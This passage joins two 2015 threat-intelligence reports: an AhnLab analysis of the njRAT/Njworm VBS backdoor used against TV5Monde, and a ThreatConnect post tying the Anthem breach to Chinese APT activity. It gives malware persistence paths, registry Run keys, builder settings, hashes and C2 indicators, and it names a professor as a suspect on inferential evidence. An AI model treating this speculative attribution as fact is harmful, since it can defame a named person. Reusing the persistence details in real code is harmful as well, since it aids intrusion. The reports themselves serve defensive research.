segment of the news, which can be seen above. TV5Monde s negligent approach to security, like writing account information on notepads pasted on walls, may have contributed to the hacking incident. On April 9, 2015, Blue Coat, a security vendor, released a press statement on the TV5Monde attack. [Figure 4] Press statement by Blue Coat (*Source: Blue Coat Blog) According to this statement, the malware used in the TV5 Monde attack is a variant of Njworm that is popular in the Middle East. Findings #1: Njrat and Njworm, based in the Middle East A Kuwaiti, known by the alias njq8 , created NjRAT and Njworm. A simple search on the web shows that there are numerous online video tutorials in the Arabic language sharing knowledge on executing and exploiting with njRAT and Njworm. This level of knowledge sharing and support is making the backdoor malware popular among attackers in the Middle-East region. [Fig, 5] Video tutorial in the Arabic language (*Source: www.youtube.com/watch?v=sKtoONku1w0) Many variants of this malware have been found ever since the source code was disclosed in May 2013. A C# source code generator was even uploaded on an Arabic developer s site on December 8, 2014. With the increase in threats involving this malware, Microsoft Malware Protection Center (MMPC) took down the NjRAT and Njworm malware families in June 2014. These malware families are believed to have been created by Kuwaiti, Naser Al Mutairi, aka njq8, and Algerian, Mohamed Benabdellah, aka Houdini. There is also VB source code generators. The VBS codes are slightly different as compared to the C# source code generator, but it performs the same action stealing personal information and acting as a backdoor. When the VB source code generator runs, the attacker must enter the port number, and specify the host address, name, directory and installation name. The output files created could be slightly different. Findings #2: Source code generator and generation process s take a look at how some source code generators work. 1. Source Code Generator 1 When you execute the generator, a window to set the port will appear. Then, a message stating the port is successfully connected will appear as below. [Figure 6] Port connected If you right-click on the white bar on the message above, a window will appear to send commands. The command types are divided into w0rm, Computer, Run and Options, and you can send various commands based on the command type. [Figure 7] Command window After selecting a command, and clicking Builder, a window to initialize the IP and port will appear. You can specify the host, port, name and install name, and select one of the six directories. [Figure 8] Generating source codes through Builder 2. Source Code Generator 2 Let us take a look at another source code generator. When you open the generator, a window to enter the port number as in [Figure 9] and a window to specify a few settings as in [Figure 10] will appear. [Figure 9] Home screen for Source Code Generator 2 [Figure 10] Settings page The command type is simpler. The options are only Run File, VBS Code and Uninstall Worm. [Figure 11] Command window You can specify the host, port, name and install name. The Spread File Name and directory has been modified. [Figure 12] Settings page for Source Code Generator 2 The biggest difference between the two source code generators is the process to verify whether the environment is a virtual environment or physical environment. Source Code Generator 1 does not include a function to verify the environment. On the other hand, Source Code Generator 2 offers vmcheck() function at the beginning of the exploit codes, where if it is verified that the environment is verified as virtual, the exploit code jumps to a process that immediately deletes the VBS file and terminates. Findings #3: VB script backdoor The malware used in TV5Monde attack is a VBS (Visual Basic Script) malware created with one of these source code generators. It steals personal information and allows remote control, and performs the following actions: 1. Create files C:\Documents and Settings\Administrator\Start Menu\Programs\Startup\SecurityNajaf.vbs C:\Documents and Settings\Administrator\LocalSettings\Temp\(Original).vbs 2. Enable auto-run via Registry HKCU\Software\Microsoft\Windows\CurrentVersion\Run\SecurityNajaf "SecurityNajaf.vbs"" HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SecurityNajaff "SecurityNajaf.vbs"" "wscript.exe "wscript.exe 3. Communicate with C&C server The scripts are divided into initialization codes and backdoor codes. The initialization codes contain install name, IP and port details. [Figure 13] Initialization codes The backdoor codes define the action of the commands sent to the C&C server. [Figure 14] Remote command execution codes This malware not only acts as a backdoor, but also steal user information that includes user name, computer name, volume serial number and Windows version. [Figure 15] System information extraction codes The originating address of the detected malware was the malware itself, so it is determined and highly possible that it was created for testing. Conclusion AhnLab has investigated the malware that seized control of France s TV5Monde and disrupting the broadcast of 11 TV5Monde s channels. Television networks are the perfect targets for cyber-attacks intended for political reasons and it has been proven possible for attackers to take control of the television broadcast. Television broadcast companies have an immediate need to reinforce security and take targeted attacks seriously. Malware that are widely used in specific countries or regions could be executed as political attacks, so it is also important to be up-to-date about these malware. French TV station TV5Monde hit by Islamic State hack www.dailymail.co.uk/wires/afp/article-3031644/French-TV5Monde-hitpro-Islamic-State-hackers.html Simple njRAT Fuels Nascent Middle East Cybercrime Scene www.symantec.com/connect/blogs/simple-njrat-fuels-nascent-middleeast-cybercrime-scene New RATs Emerge from Leaked Njw0rm Source Code http://blog.trendmicro.com/trendlabs-security-intelligence/new-rats-emerge-fromleaked-njw0rm-source-code www.eff.org/files/2013/12/28/quantum_of_surveillance4d.pdf http://www.lemonde.fr/pixels/article/2015/04/09/les-sites-de-tv5-monde-detournes-par-un-groupeislamiste_4612099_4408996.html www.cnbc.com/id/102330338 https://twitter.com/pent0thal www.bluecoat.com/security-blog/2015--04-09/visual-basicscript-malware-reportedly-used-tv5-monde-intrusion www.youtube.com/watch?v=sKtoONku1w0 https://jomgegar.com/topic/14665-njrat-v07dbuilderstub-fullsource-code/ http://blogs.technet.com/b/mmpc/archive/2014/06/30/microsoftdigital-crimes-unit-disrupts-jenxcus-and-bladabindimalware-families.aspx http://blogs.microsoft.com/blog/2014/06/30/microsoft-takes-onglobal-cybercrime-epidemic-in-tenth-malware-disruption/ AhnLab, Inc. www.ahnlab.com 2015 AhnLab, Inc. All rights reserved. Reproduction and/or distribution of a whole or part of this document without prior written permission from AhnLab are strictly prohibited. http://www.threatconnect.com/news/the-anthem-... The Anthem Hack: All Roads Lead to China Posted February 27, 2015 by ThreatConnect Intelligence Research Team (TCIRT)[1] led under Threat Research[2]. UPDATE: Premera Latest Healthcare Insurance Agency to be Breached[3] When news of the Anthem breach was reported on February 4th, 2015, the security industry quite understandably went wild. A breach of this magnitude was certainly unprecedented. Naturally, many industry professionals were keenly interested in digging into this incident to see what could be uncovered, and the research team at ThreatConnect was no exception. Thanks to our powerful API[4] and third-party partner[5] integrations, we were able to use ThreatConnect to quickly uncover a wealth of intelligence even when initially hindered by a relative lack of investigative lead information and context, a key requirement of any Threat Intelligence Platform[6] (TIP). However, before we delve into what we were able to uncover, let s brie y review the facts as they stood in the wake of the initial discovery announcement. 1 of 33 03/22/2015 10:14 PM http://www.threatconnect.com/news/the-anthem-... What We Know: On the morning of February 4th, 2015, several major news outlets broke the story[7] that Anthem, Inc. s network defenses had been breached. According to a statement from Anthem s CEO[8], the company fell victim to a very sophisticated external cyber attack, and the hackers obtained the personally identi able information (PII) of approximately 80M customers. This included social security numbers, birthdays, street addresses, phone numbers and income data plenty of information to enable identity theft. This was a signi cant event for several reasons: Anthem, formerly known as Wellpoint, is the largest managed healthcare company in the Blue Cross Blue Shield Association, and by extension, one of the largest healthcare organizations in the United States. As such, any compromise, no matter how insigni cant, would likely impact countless individuals. Blue Cross Blue Shield provides healthcare coverage for about half the U.S. federal workforce. This means that their information was potentially compromised too. Unlike the Sony hack which was destructive in nature and meant to send a message for coercive purposes, the Anthem compromise was purportedly very covert, a fact which may suggest something about the adversary s motives. As of late February 2015, there have not been any indications that the ex ltrated PII data was immediately commoditized on the black market for the purpose of enabling identity theft, as was the case in the Home Depot Breach. 2 of 33 03/22/2015 10:14 PM http://www.threatconnect.com/news/the-anthem-... Filling the Gaps: Obviously, these high-level observations do not provide cybersecurity researchers a great deal of information to work with. However, when presented within the context of a Threat Intelligence Platform (TIP), an incomplete trail of evidence can highlight intelligence gaps, a study of which can orient threat researchers towards their analytic objectives. To this end, let examine what we wanted to discover in the context of the Anthem breach: Who was responsible for the attack? What was the objective of the attack? Was it cyber theft, an espionage operation, or something different? Who was targeted in the attack? The answer to this question, obscured as it may be, would likely shed some light on the objective of the breach. What was the timeline of the activity? The real power of a Threat Intelligence Platform is demonstrated when you are able to collect and maintain a robust dataset of threat indicators, both past and present, which can help orient you in the right direction in the wake of a newly discovered breach. Even when you do not have a good deal of information to start with (for example a le hash, or an IP address), you may leads by pivoting through archived datasets until you uncover key pieces of the puzzle. In the case of the Anthem breach, we were able to do just that. 3 of 33 03/22/2015 10:14 PM http://www.threatconnect.com/news/the-anthem-... Anthem Themed Infrastructure & Signed Malware: In September 2014, the ThreatConnect Intelligence Research Team (TCIRT)[9] observed a variant of the Derusbi APT malware family, MD5: 0A9545F9FC7A6D8596CF07A59F400FD3[10], which was signed by a valid digital signature from the Korean company DTOPTOOLZ Co. Derusbi is a family of malware used by multiple actor groups but associated exclusively with Chinese APT. TCIRT began tracking the DTOPTOOLZ signature for additional signed malware samples and memorialized them within our Threat Intelligence Platform over time. Analyst Comment: The DTOPTOOLZ signature has also been observed in association with Korean Adware that is af liated with the actual DTOPTOOLZ Co. This adware should not be confused with the APT malware that is abusing the same digital signature. Later, in mid-November we discovered another implant that was digitally signed with the DTOPTOOLZ signature. This implant, MD5: 98721c78dfbf8a45d152a888c804427c[11], was from the Sakula (aka. Sakurel) family of malware, a known variant of the Derusbi backdoor, and was con gured to communicate with the malicious command and control (C2) domains extcitrix.we11point[.]com and www.we11point[.]com. Through our Farsight Security passive DNS[12] integration, we uncovered that this malicious infrastructure was likely named in such a way to impersonate the legitimate Wellpoint IT infrastructure. 4 of 33 03/22/2015 10:14 PM http://www.threatconnect.com/news/the-anthem-... Passive DNS and historic DomainTools Whois data also provided insights that helped establish an initial timeline dating back to April 2014, when the faux domains came into existence and were later operationalized by the attackers. A Threat Intelligence Platform should allow for analysts to easily put together and organize such insights, collaborate around relevant analysis internally, and share the nished analysis with external industry groups and organizations. In the hopes that our community members could bene t from or provide further insight into this suspicious incident, we immediately shared our threat intelligence including indicators, signatures and analytical context to the ThreatConnect Medical and Health Community[13] on November 13, 2014. This included sending out a noti cation to all stakeholders as well as our followers on Twitter[14]. When the Anthem breach later came to light in early February, we re-shared the signatures, indicators and context freely to the entire ThreatConnect user base. As we dug further, we expanded our understanding of the malicious we11point[.]com infrastructure, taking particular interest to the subdomains such extcitrix.we11point[.]com and hrsolutions.we11point[.]com Note the citrix and (human resources) pre xes that the adversary used to mirror legitimate remote infrastructure and employee bene ts resources in the May 2014 timeframe. This provided initial insights as to the likely targeting themes and or vectors in which the adversary may have used when initiating their targeting campaign. 5 of 33 03/22/2015 10:14 PM http://www.threatconnect.com/news/the-anthem-... [15] [16] The fact that the malicious infrastructure closely mirrored other legitimate Wellpoint infrastructure supported our hypothesis that the Derusbi / Sakula malware was con gured to operate and persist within a speci c target enterprise. Possible Premera Blue Cross Infrastructure: Retrospective analysis of other targeted malware samples using the DTOPTOOLZ Co. digital signature led to the identi cation of HttpBrowser HttpDump implant MD5: 02FAB24461956458D70AEED1A028EB9C[17] (OpenOf cePlugin.exe), which was rst observed on December 11, 2013. Although this malware sample is not Derusbi / Sakula, it too is strongly believed to be associated with Chinese APT activity and in fact may have also been involved in a Blue Cross Blue Shield 6 of 33 03/22/2015 10:14 PM http://www.threatconnect.com/news/the-anthem-... targeting campaign as early as December 2013. [18] This particular binary is con gured to connect to the static IP address 142.91.76[.]134. Passive DNS of this IP indicates that on December 11th, 2013, the same date as the malware sample was observed, the domain prennera[.]com also resolved to 142.91.76[.]134. It is believed that the prennera[.]com domain may have been impersonating the Healthcare provider Premera Blue Cross[19], where the attackers used the same character replacement technique by replacing the with two characters within the faux domain, the same technique that would 7 of 33 03/22/2015 10:14 PM http://www.threatconnect.com/news/the-anthem-... be seen ve months later with the we11point[.]com command and control infrastructure. Section Summary: The Derusbi / Sakula malware implant types are unique in that they have traditionally been seen within Chinese APT espionage campaigns. The HttpBrowser HttpDump malware implant (while a different family of malware than Derusbi / Sakula) is also believed to be of Chinese origin, and was also digitally signed with the DTOPTOOLZ digitalsignature. This implant connected to a C2 node that overlapped with prennera[.]com. We believe that the prennera[.]com domain may be impersonating Premera Blue Cross (premera.com), using a similar character replacement technique seen in the we11point[.]com campaign. VAE Inc. Themed Infrastructure & Signed Malware Another powerful attribute of ThreatConnect is the ability for analysts to logically group items such as atomic indicators, related documents or signatures, all of which may include individualized custom context enrichments and associations. Over time, the ability to memorialize groupings of related or like activity allows analysts to quickly uncover non-obvious relationships within their private datasets. This is exactly what happened as we continued to 8 of 33 03/22/2015 10:14 PM http://www.threatconnect.com/news/the-anthem-... investigate these incidents. As industry analysts and media speculated Chinese APT involvement[20] in the Anthem breach, our focus into the Derusbi / Sakula malware signed with the DTOPTOOLZ Co. digital signature shifted from the we11point[.]com incident to another cluster of activity that occurred later in May 2014. We immediately reviewed Incident 20140526B: vaeit APT[21], an incident that we initially shared to our Subscriber Community on September 29, 2014 after conducting retrospective analysis. [22] [23] Just as was the case with the we11point[.]com and prennera[.]com 9 of 33 03/22/2015 10:14 PM http://www.threatconnect.com/news/the-anthem-... incidents, the VAE, Inc. incident is also believed to be associated with Chinese APT espionage activity. In this case the adversary also used Derusbi / Sakula malware that was signed with the DTOPTOOLZ Co. digital signature and con gured to communicate with faux infrastructure appearing to be masquerading as internal resources for the Department of Defense Contractor VAE, Inc. Additionally, in response to an inquiry from KrebsOnSecurity, VAE, Inc. would later con rm[24] that it had indeed been a target of a failed spearphishing attempt in May 2014 which used the malicious faux VAE, Inc. themed domain. The targeted incident relied upon the Sakula executable MD5: 230D8A7A60A07DF28A291B13DDF3351F[25] which had a XOR 0x9A encoded C2 callbacks to the IP address 192.199.254[.]126 (registered to Wehostwebsites[.]com Tom Yu of Baoan, Shenzhen City, Guangdong Province, China) as well as a hardcoded callback to sharepoint-vaeit[.]com. Passive DNS of the static C2 IP 192.199.254[.]126 revealed a single suspicious domain of interest topsec2014[.]com. This domain had historic resolution around May 8, 2014 within a month of the observed Sakula activity using the IP 192.199.254[.]126 as C2. [26] 10 of 33 03/22/2015 10:14 PM http://www.threatconnect.com/news/the-anthem-... [27] Using historic Whois, we discovered that topsec2014[.]com was initially registered by li2384826402@yahoo[.]com on May 6th, 2014. Although the li2384826402@yahoo[.]com registrant is likely a reseller given that it has been observed registering several thousands of other domains, the fact that it was used to register both the faux VAE, Inc. C2 infrastructure and the overlapping domain topsec2014[.]com within the same month suggests that there may be a relationship between the client of the reseller for the VAE, Inc. infrastructure and the client for topsec2014[.]com. [28] 11 of 33 03/22/2015 10:14 PM http://www.threatconnect.com/news/the-anthem-... [29] Just four minutes after the initial registration of topsec2014[.]com, the Whois records were updated from the initial registrant, Li Ning li2384826402@yahoo[.]com to TopSec China TopSec_2014@163[.]com. This domain record has been unchanged since May 7th 2014. The we11point[.]com infrastructure and by extension the faux VAE Inc. infrastructure is associated with Cluster 2 of the ScanBox framework[30] by PwC. The latest PwC update to ScanBox states that there are links between the domain allegedly used in the Anthem hack (we11point.com) to Cluster 2 through shared WHOIS details. OPM Themed Infrastructure One notable pattern was how the domain Whois registration information for the VAE, Inc. themed infrastructure was quickly updated and obfuscated with pseudorandom 10 character gmx.com email addresses and using the names of various comic book characters from the Iron Man franchise. This comic-themed naming convention has been previously documented by our friends at Crowdstrike[31] in what they characterize as being associated with a Chinese APT group they have dubbed Deep Panda Leveraging our DomainTools partnership, we were able to 12 of 33 03/22/2015 10:14 PM http://www.threatconnect.com/news/the-anthem-... correlate the outlier domain opm-learning[.]org. This domain was also purportedly registered by the Iron Man movie hero Tony Stark on July 28, 2014. This infrastructure naming convention suggests a possible Of ce of Personnel Management (OPM) theme. However, in this case we lacked any speci c sample of malware to verify our initial suspicions that this infrastructure was operational. The possible OPM reference in the domain name is noteworthy considering it was revealed in July of 2014 that OPM had been compromised[32] by a likely state-sponsored Chinese actor in mid-March of that year. The fact this domain was registered after the breach occurred suggests that OPM could be an ongoing direct target of Chinese state-sponsored cyber espionage activity. Our attention then turned to the FBI Flash Report A-000049MW[33] that was publicly reported by Brian Krebs [34]on February 6th, 2015. This FBI Flash Report was issued on January 27th, 2015, the same day an Anthem administrator detected suspicious activity according to an internal memo[35]. This memo goes on to indicate that the FBI would not be party to the Anthem breach until they were noti ed on January 29th, 2015; based on these facts we assess with high con dence that it is very unlikely that the FBI Flash Report was directly related to the Anthem breach. Rather, we suspect that the FBI ash report likely references the USIS breach that was announced[36] on August 6, 2014, or the previous OPM breach, considering the statement that the breach involved compromised and stolen sensitive business information and Personally Identi able Information (PII) from US commercial and 13 of 33 03/22/2015 10:14 PM http://www.threatconnect.com/news/the-anthem-... government networks through cyber espionage. The malware referenced within the FBI Report is associated with a Derusbi backdoor subvariant named InfoAdmin Kakfum where the FBI speci cally references open source reporting of Deep Panda as being related to the malware observed in the attack. The malicious infrastructure highlighted in the report are the domains images.googlewebcache[.]com and smtp.outlookssl[.]com. Both of these top level domains were included with other related domains, all of which were shared on September 16th, 2013 to the ThreatConnect Subscriber Community in Incident 20130823C: Some.Trouble APT Domains[37], roughly a year and half prior to the FBI Flash report. It is important to mention that both the domains images.googlewebcache[.]com and smtp.outlookssl[.]comas were also previously identi ed in an October 2014 PwC blog post[38] as seen within Cluster 1 of the Scanbox framework, while the Sakula activity with we11point and VAEIT is contained within Cluster 2 of that report. This implies that the actor referenced within the FBI Flash report uses shared capabilities (in this case the ScanBox kit) with the Sakula / we11point actor. Section Summary: The Derusbi / Sakula malware seen in both the we11point[.]com and VAE Inc. campaigns were structurally the same and digitally signed with the DTOPTOOLZ signature. 14 of 33 03/22/2015 10:14 PM http://www.threatconnect.com/news/the-anthem-... The emerging theme is that this particular signature and family of malware is highly indicative of a particular Chinese APT activity. Within this web of malicious infrastructure, there is an interesting overlap with the topsec2014[.]com domain and attack infrastructure. TCIRT identi ed a domain opm-learning[.]org that had a similar superhero themed WHOIS registrant to the Sakula / VAE Inc. infrastructure. The possible OPM reference is noteworthy considering the Of ce of Personnel Management (OPM) was compromised in March 2014. Additionally, an FBI Flash Report 0000-49MW referenced indicators that were possibly associated with the USIS hack and a Derusbi variant called Kakfum InfoAdmin . Both the FBI Flash infrastructure and the Sakula / VAE Inc. infrastructure are tied to the capability usage of the ScanBox framework, residing in Clusters 1 and 2 respectively. Unveiling Song Yubo and Southeast University: The Professor We conducted open source research in pursuit of further information on the TopSec_2014@163[.]com email registrant. A keyword search returned several results for topsec2014@163[.]com in association with a number of academic institutions in Nanjing, China. Although the email 15 of 33 03/22/2015 10:14 PM http://www.threatconnect.com/news/the-anthem-... address wasn t an exact match to the topsec2014[.]com domain registrant (notice the absence of the underscore), such a similarity warranted further investigation. [39] [40] 16 of 33 03/22/2015 10:14 PM http://www.threatconnect.com/news/the-anthem-... We examined the links for any relevant intelligence, and discovered that nearly all of the search results led to pages that contained an announcement for an information security competition sponsored by the Southeast University-Topsec Information Security and Mobile Internet Technology Joint Research Center. This entity appears to be a joint research venture between the University and Chinese networking giant Beijing Topsec Network Security Technology Co., a.k.a. Beijing Topsec. [41] 17 of 33 03/22/2015 10:14 PM http://www.threatconnect.com/news/the-anthem-... [42] The announcements list a Professor Song Yubo as the point of contact for the event, and directs interested parties to his email address, topsec2014@163[.]com, for further questions. [43] [44] According to his LinkedIn page, Song is a Teacher at the Southeast University, speci cally interested in the eld of telecommunications. Additionally, he is an avid researcher, and has published numerous academic papers on computer network exploitation on various e-journal publication sites, such as Google Scholar[45]. Further, he lists skills such as cryptography, penetration testing and computer network security, etc. on his Research Gate pro le[46]. 18 of 33 03/22/2015 10:14 PM http://www.threatconnect.com/news/the-anthem-... [47] [48] As we continued to develop a pro le on Professor Song, we began to have the sense that his interest in information security research strongly overlapped with that of someone who might be interested in or at least capable of conducting sophisticated cyber attacks. However, interests alone are not enough to warrant reasonable suspicion, so we had to do more digging. Additionally, the soft link between TopSec_2014@163[.]com and topsec2014@163[.]com alone was not suf cient to make 19 of 33 03/22/2015 10:14 PM http://www.threatconnect.com/news/the-anthem-... associations with any reasonable con dence, but as it turns out, Yubo has in fact been previously named as a person of interest in the context of offensive Chinese cyber activity. The University In March 2012, Northrop Grumman presented a commissioned report to Congress[49] detailing Chinese cyber warfare capabilities. The report asserts with high con dence that both Song and the Information Security Research Center at Southeast University have received numerous state-sponsored research grants, and by extension, cooperated with the Government of China in conducting information security research and development (R&D). As stated on Southeast University s own website, the main purpose of these grants are to develop technical acumen amongst its students via providing support for state-owned scienti research institutions, state key enterprises, government agencies and People s Liberation Army (PLA) units. [50] 20 of 33 03/22/2015 10:14 PM http://www.threatconnect.com/news/the-anthem-... [51] Southeast University is one of only three Chinese academic institutes that receives funding from all ve of the State grant programs. Song himself has also conducted his fair share of statesponsored research, notably under the National Ministry of State Security 115 Program a highly sensitive research grant to fund ambiguous information warfare R&D, almost certainly in support of PLA programs. The Competition As we can see, the evidence continued to stack up. The real smoking gun, however, was when we began to notice a strong temporal overlap with the various stages of the TOPSEC Cup that Song and Beijing Topsec were organizing, and the registration dates of malicious infrastructure as well as the malware compilation dates. [52] 21 of 33 03/22/2015 10:14 PM http://www.threatconnect.com/news/the-anthem-... [53] Based upon the translated registration form that we obtained from Song Yubo s personal Baidu document sharing account, open registration for the TOPSEC Cup began on May 4th, 2014 and would close on May 14th, 2014. The details of the competition that were shared on the announcement are extremely ambiguous, and probably for good reason. The introductory paragraph mentions that the primary goal of the event is to facilitate the training and discovery of new talent, noting that exceptional participants would receive priority consideration for internships and jobs with Beijing Topsec. The event itself was broken down into several distinct rounds of competition. Firstly, the preliminary round required that all eligible registrants would attempt to remotely access and navigate through the network. Should a participating team perform exceptionally in the preliminary qualifying round, they would be invited to participate in the nal round on-site in Nanjing. 22 of 33 03/22/2015 10:14 PM http://www.threatconnect.com/news/the-anthem-... In this nal round, participants would be required to build their own information systems and network environments. The announcement notes that the students must rely upon their own laptop and software tools to accomplish this task. Further, the announcement notes that participants are prohibited from attacking the provided server as well as their competitors. Section Summary: Song Yubo and his research center at Southeast University appear to be central players in this narrative, as highlighted by their nancial connections to the government of China, in particular the Ministry of State Security (MSS), China s premier human intelligence agency. If the MSS was involved, we can deduce that the Anthem hack could have been for the purposes of gathering sensitive information for follow-on HUMINT targeting via blackmail, asset recruitment or technical targeting operations against individuals at home. Song s use of the topsec email alias suggests a greater association w/ TOPSEC. It seems as if the competition is almost certainly the cause for the topsec2014[.]com domain. What is very curious, however, is the initial registration by the reseller li2384826402@yahoo[.]com, which is a tactic seen within the rmed malicious faux VAE Inc.infrastructure. The overlap between the competition website and the static command and control infrastructure seen in the Derusbi / 23 of 33 03/22/2015 10:14 PM http://www.threatconnect.com/news/the-anthem-... Sakula implant is was likely an error made by the attackers. Tianrongxin, a.k.a. Beijing Topsec Technology The Company To enhance our open-source capabilities, we partnered up with Dr. James Mulvenon[54] and his team of China experts at Defense Group, Inc. (DGI)[55]. We shared with them everything that we knew at the time, walking through the technical details which led us all the way to Song Yubo and the competition announcement. From there, they were able to uncover a wealth of very consequential background information on Beijing Topsec Technology Co (Beijing Topsec), the sponsoring organization for Song Yubo s information security competition. s research indicated that Beijing Topsec is one of the largest information security hardware providers in China. In 1996, they were the rst Chinese company to break into the market with the release of China rst indigenously-manufactured rewall. Since then, they have expanded their business to include a consulting practice focused on issues such as vulnerability mining, software code analysis, threat intelligence, and encryption R&D, amongst other things. The company served as a core technical support unit for network 24 of 33 03/22/2015 10:14 PM http://www.threatconnect.com/news/the-anthem-... security at the 2008 Olympic Games an event which was tightly controlled by the state. Additionally, Beijing Topsec is a known partner of the Chinese military. Since 2009, the company has possessed information publication credentials for military network procurement. Since 2013, they have been publicly recognized as the Chinese equivalent of a cleared defense contractor. The links between Beijing Topsec and the Chinese government are fairly substantial, highlighted by long-standing partnerships between even the most shadowy elements of the Chinese military. The Leaked Cable A very compelling piece of evidence is found in the contents of a leaked 2009 diplomatic security cable from the Department of State, published by The Guardian.[56] The cable is a daily digest of Diplomatic Security alerts essentially a situational awareness primer for State Department employees to inform them of new and existing threats. In one section, the cable highlights that the Founder of Beijing Topsec, He Weidong, had openly talked about receiving directives from the PLA in an interview with China News Network. In the interview, the founder quite curiously states that Topsec is less a commercial entity, but rather a research institute, and that the company received about half of its start-up capital directly from the PLA. The cable further claims that Topsec actively recruits for the PLA cyber army. 25 of 33 03/22/2015 10:14 PM http://www.threatconnect.com/news/the-anthem-... [57] [58] It would also appear that not only does Beijing Topsec have deep ties to state-run cyber activity, but also within the independent hacker community as well. Of note, the company hired the notorious hacker Lin Yong, a.k.a. Lion (of the Honker Union of China[59]) in the early 2000s as a security service engineer and to conduct network training. Section Summary: It is not surprising that the Chinese government would be interested in partnering with a private organization such as Beijing Topsec for use as a front for state-sponsored activity. The association between Southeast University and Beijing Topsec as manifested in the joint information security research center highlights the possibility of growing links between 26 of 33 03/22/2015 10:14 PM http://www.threatconnect.com/news/the-anthem-... state-sponsored activity and academic institutions, particularly those that receive funding from the central government. All in all, it would seem that China is pursuing a uni approach to cyber operations, relying on all unique facets of the workforce: academia, private industry, and independent hackers, as well as the PLA to achieve their strategic goals. Conclusion: The Anthem breach exposes the insidious reality of modern Chinese cyber espionage as it continues its unrelenting strikes at the soft underbelly of the American way of life. Moreover, it demonstrates the imposing yet increasingly common reality of conducting threat intelligence analysis without substantial threat intelligence to start with. Fortunately for us, we were able to deduce informed answers to some of the outstanding questions to this breach by scrutinizing our archival data troves that are ciently stored within our Threat Intelligence Platform and partner integrations. In the eld of cyber security, industry professionals must learn to play the long game in order to generate a proactive sense of situational awareness, allowing for greater ef ciency and exibility in mitigating future threats. Additionally, this incident underscores the frustrating disparity of the industry when it comes to naming conventions. With so many threat actors and indicators oating around, it is can be frustrating to keep track of all the disparate pieces of evidence, 27 of 33 03/22/2015 10:14 PM http://www.threatconnect.com/news/the-anthem-... especially when countless naming conventions are applied. Without the use of a Threat Intelligence Platform to keep track of the ood of incoming threat data, this task would be extraordinarily time consuming at best and crippling at worst. Moving forward, it is important to bear in mind that the adversary, regardless of country of origin, shall almost certainly leverage our every weakness against us. Even something as seemingly innocuous as confusion over names can easily consume analytical bandwidth, creating a window of opportunity to strike. We that is security professionals, private industry and governments alike must proactively harden our network defenses and hasten our incident responses as a united, synchronous entity. We have shared details on Song Yubo[60] and af liated indicators within the ThreatConnect Common Community. This share also includes the full-text DGI BLUE HERON research[61] which provides greater insight into Song Yubo, Southeast University and Beijing Topsec. All things considered, industry must learn to adopt a cooperative defense mindset in the hopes of rebuf ng future attacks. The most resolute defense we have is each other, so be like the TCIRT and start actively defending your own community from the next big breach. Register for a free ThreatConnect account today[62] to get started sharing and analyzing your threat intelligence. 1. http://www.threatconnect.com/news/author/the-square/ 28 of 33 03/22/2015 10:14 PM http://www.threatconnect.com/news/the-anthem-... 2. http://www.threatconnect.com/news/category/threat-research-tcirt/ 3. http://www.threatconnect.com/news/premera-latest-healthcareinsurance-agency-to-be-breached?utm_campaign=Anthem-Hack-BlogPost&utm_source=from-anthem-post 4. http://www.threatconnect.com/product/threatconnect_API 5. http://www.threatconnect.com/partners 6. http://www.threatconnect.com/why_threat_connect /what_is_threat_intelligence_platform 7. http://www.wsj.com/articles/health-insurer-anthem-hit-by-hackers1423103720 8. https://www.anthemfacts.com/ceo 9. http://threatconnect.com/why_threat_connect /threatconnect_intelligence_research_team 10. https://www.virustotal.com/en/ /77421106548e69e9666c538ad628918cad7cfcf8f6aa7825f71a4fc39e522a7d /analysis/ 11. https://www.virustotal.com/en/ /8d168092d5601ebbaed24ec3caeef7454c48cf21366cd76560755eb33aff89e9 /analysis/ 12. http://www.threatconnect.com/news/press-releases/cyber-squaredinc-announces-expansion-data-services-powerful-domain-passivedns-intelligence/ 13. http://www.threatconnect.com/news/threatconnect-enables-healthynetworking-biomed-life-sciences-industry/ 14. https://twitter.com/threatconnect 29 of 33 03/22/2015 10:14 PM http://www.threatconnect.com/news/the-anthem-... 15. http://www.threatconnect.com/news/wp-content/uploads/2015/12 /wellpoint-evil2legit1.jpg 16. http://www.threatconnect.com/news/wp-content/uploads/2015/12 /wellpoint-evil2legit1.jpg 17. https://www.virustotal.com/en/ /3fe208273288fc4d8db1bf20078d550e321d9bc5b9ab80c93d79d2cb05cbf8c2 /analysis/ 18. http://www.threatconnect.com/news/wp-content/uploads/2015/12 /premera-update.jpg 19. http://www.premera.com/ 20. http://www.washingtonpost.com/business/economy/investigatorssuspect-china-may-be-responsible-for-hack-of-anthem/2015/02 /05/25fbb36e-ad56-11e4-9c91-e9d2f9fde644_story.html 21. https://app.threatconnect.com/tc/auth/incident /incident.xhtml?incident=708926 22. http://www.threatconnect.com/news/wp-content/uploads/2015/12/WellVAE-Overlaps.jpg 23. http://www.threatconnect.com/news/wp-content/uploads/2015/12/WellVAE-Overlaps.jpg 24. http://krebsonsecurity.com/2015/02/anthem-breach-may-have-startedin-april-2014/ 25. https://www.virustotal.com/en/ /d4be6c9117db9de21138ae26d1d0c3cfb38fd7a19fa07c828731fa2ac756ef8d /analysis/ 26. http://www.threatconnect.com/news/wp-content/uploads/2015/12 /li-reg-overlaps1.jpg 30 of 33 03/22/2015 10:14 PM http://www.threatconnect.com/news/the-anthem-... 27. http://www.threatconnect.com/news/wp-content/uploads/2015/12 /li-reg-overlaps1.jpg 28. http://www.threatconnect.com/news/wp-content/uploads/2015/12 /topsec2014-hist.png 29. http://www.threatconnect.com/news/wp-content/uploads/2015/12 /topsec2014-hist.png 30. http://pwc.blogs.com/ les/cto-tib-20150223-01a.pdf 31. http://blog.crowdstrike.com/ironman-deep-panda-uses-sakulamalware-target-organizations-multiple-sectors/ 32. http://www.washingtonpost.com/world/national-security/chinesehackers-go-after-us-workers-personal-data/2014/07/10 /92db92e8-0846-11e4-8a6a-19355c7e870a_story.html 33. http://krebsonsecurity.com/wp-content/uploads/2015/02/FBI-FlashWarning-Deep-Panda.pdf 34. http://krebsonsecurity.com/2015/02/china-to-blame-in-anthem-hack/ 35. http://www.csoonline.com/article/2880352/disaster-recovery/anthemcon rms-data-breach-but-full-extent-remains-unknown.html 36. http://www.washingtonpost.com/world/national-security /dhs-contractor-suffers-major-computer-breach-of cials-say/2014 /08/06/8ed131b4-1d89-11e4-ae54-0cfe1f974f8a_story.html 37. https://app.threatconnect.com/tc/auth/incident /incident.xhtml?incident=39083 38. http://pwc.blogs.com/cyber_security_updates/2014/10/scanboxframework-whos-affected-and-whos-using-it-1.html 39. http://www.threatconnect.com/news/wp-content/uploads/2015/12 31 of 33 03/22/2015 10:14 PM http://www.threatconnect.com/news/the-anthem-... 